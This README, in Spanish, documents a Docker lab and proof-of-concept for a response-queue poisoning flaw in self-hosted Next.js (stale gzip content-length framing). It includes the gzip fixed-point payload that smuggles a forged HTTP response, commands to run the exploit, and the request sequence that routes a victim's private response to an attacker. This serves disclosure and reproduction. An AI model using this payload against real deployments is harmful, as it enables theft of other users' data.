
Doble laboratorio Docker y PoC diferencial autónomo para CVE-2026-119348, una vulnerabilidad de envenenamiento de la cola de respuestas por tramas comprimidas obsoletas en Next.js autoalojado.
GHSA: GHSA-pc58-hwjq-p385
CVSS 4.0: 6.3 (Moderado) — AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N
Producto: Vercel Next.js (next), autoalojado (next start)
Este repositorio contiene una reproducción completa y determinista (laboratorio docker + exploit independiente) de la vulnerabilidad de inyección y divulgación de respuestas entre clientes corregida en la versión de seguridad de Next.js de noviembre de 2026. No existía ningún PoC público en el momento en que se construyó este laboratorio (verificado el 2026-11-20: búsqueda de repositorios/código en GitHub para los ids de CVE y GHSA → 0 resultados).
El fetch de Node (undici) descomprime de forma transparente un cuerpo con content-encoding: gzip pero
conserva las cabeceras de respuesta originales, incluida content-length: <compressed-size>.
Cuando una aplicación Next.js autoalojada devuelve una Response de upstream obtenida de este modo
sin modificarla — desde un route handler del App Router, una entrada de la caché de fetch o un middleware del
runtime de Node — las versiones vulnerables de Next reenvían el framing comprimido obsoleto al
cliente mientras transmiten el cuerpo más largo y descomprimido:
HTTP/1.1 200 OK
content-encoding: gzip ← forwarded
content-length: 70 ← framing of the COMPRESSED body (stale)
← body actually sent: 116 decoded bytes
AAAA…A HTTP/1.1 200 OK\r\ncontent-length: 8\r\n\r\ninjected
└─ 70 bytes ─┘└──────────── 46 bytes of overflow ────────────┘
Node.js escribe bytes del cuerpo más allá del Content-Length declarado sin ningún error y mantiene
la conexión keep-alive abierta. Cualquier proxy inverso HTTP/1.1 que encola solicitudes canalizadas
en una conexión de backend compartida (la precondición indicada por el aviso — p. ej., HAProxy
http-reuse always, diversos proxies basados en Node.js) demultiplexa las respuestas del backend estrictamente
según el framing declarado. Los bytes de desbordamiento se analizan, por tanto, como la siguiente respuesta en
la cola:
| Rama | Vulnerable | Parcheada |
|---|---|---|
| 16.x (LTS activa) | >= 16.0.0, <= 16.4.4 | 16.4.5 |
| 15.x (LTS de mantenimiento) | <= 15.5.28 | 15.5.29 |
En vercel/next.js en la etiqueta v16.4.4:
packages/next/src/server/send-response.ts:24-70 — sendResponse() añade todas
las cabeceras del Response del manejador (solo se omite x-middleware-set-cookie) y luego
canaliza el cuerpo decodificado. El content-length / content-encoding /
transfer-encoding reenviados describen el cuerpo codificado que undici ya decodificó.packages/next/src/server/next-server.ts:2009-2012 — el bucle de respuesta del middleware omite
solo content-encoding, copiando aún el content-length /
transfer-encoding obsoletos.packages/next/src/server/web/sandbox/sandbox.ts:23)
ya eliminaba esas tres cabeceras — el fallo estaba en las rutas del runtime de Node.Corrección (v16.4.5, commit
2842833,
15.x: 848ec29):
ambas rutas de reenvío ahora descartan content-length, content-encoding y transfer-encoding
(FORBIDDEN_HEADERS), de modo que Node.js estructura el cuerpo decodificado correctamente con
transfer-encoding: chunked.
next start) — no afectado en la plataforma Vercel.Response obtenido por fetch e influenciado por el atacante (cualquier
patrón de reenvío/retransmisión: return fetch(url)), directamente o a través de la caché de fetch.Sin autenticación, sin interacción del usuario.
lab/
├── app/ # the victim Next.js app (source shared by both stacks)
│ └── app/
│ ├── proxy/route.ts # GET /proxy?u=<url> → return fetch(u, {cache:'no-store'})
│ ├── proxy-cached/route.ts # GET /proxy-cached?u=<url> → return fetch(u, {next:{revalidate:3600}})
│ ├── api/secret/route.ts # victim's private JSON (user alice + VICTIM_SECRET…)
│ └── page.tsx # home page (HOME-PAGE-MARKER)
├── upstream/server.py # attacker-controlled origin: fixed-point gzip payload
├── edgeproxy/proxy.py # HTTP/1.1 proxy, ONE shared backend conn, pipelining, FIFO delivery
├── next.Dockerfile # ARG NEXT_VERSION — 16.4.4 (vuln) vs 16.4.5 (fixed)
├── compose.vuln.yml # project cvelab_cve-2026-119348_vuln → 127.0.0.1:{8080,3000,9099}
├── compose.fixed.yml # project cvelab_cve-2026-119348_fixed → 127.0.0.1:{8081,3001,9098}
├── up.sh / down.sh
└── sanity/ # node-level experiments backing the analysis
La carga útil maliciosa del upstream (lab/upstream/server.py): P = 'A'*n + "HTTP/1.1 200 OK\r\ncontent-length: 8\r\n\r\ninjected"
con n elegido de modo que n == len(gzip(P)) (un punto fijo, n = 70 aquí, decodificado = 116 B).
Por lo tanto, la aplicación emite una respuesta cuyo Content-Length: 70 declarado cubre solo el prefijo
A, y los 46 bytes finales son una respuesta HTTP falsificada completamente formada.
# 1. start both stacks (builds [email protected] and [email protected] images)
./lab/up.sh
# 2. run the exploit against both
python3 poc.py \
--url http://127.0.0.1:8080 \ # proxy → VULNERABLE app (16.4.4)
--fixed-url http://127.0.0.1:8081 \ # proxy → PATCHED app (16.4.5)
--upstream http://127.0.0.1:9099 \ # attacker origin (host-mapped port of lab/upstream)
--next-url http://127.0.0.1:3000 \ # optional: direct app framing probe
--next-fixed-url http://127.0.0.1:3001 \
--out poc_result.json
# NOTE on --upstream: poc.py passes this URL to the victim app as the fetch target,
# but ALSO talks to it directly to plant/verify the payload. From the docker host both
# work with the mapped port above; if you run poc.py from inside the compose network,
# use http://upstream:8080 instead.
# 3. inspect delivery decisions of the pipelining proxy
docker logs cvelab_cve-2026-119348_vuln-proxy
poc.py es autónomo (Python 3, solo biblioteca estándar). Cada ronda encola tres solicitudes
en la conexión de backend compartida:
#1 attacker GET /proxy?u=…/gzip?delay=0.4 ← poisoned framing (delay ⇒ deterministic pipelining)
#2 victim GET /api/secret (Cookie: session=victim-alice-7f3a9c)
#3 attacker GET / ← collects the displaced response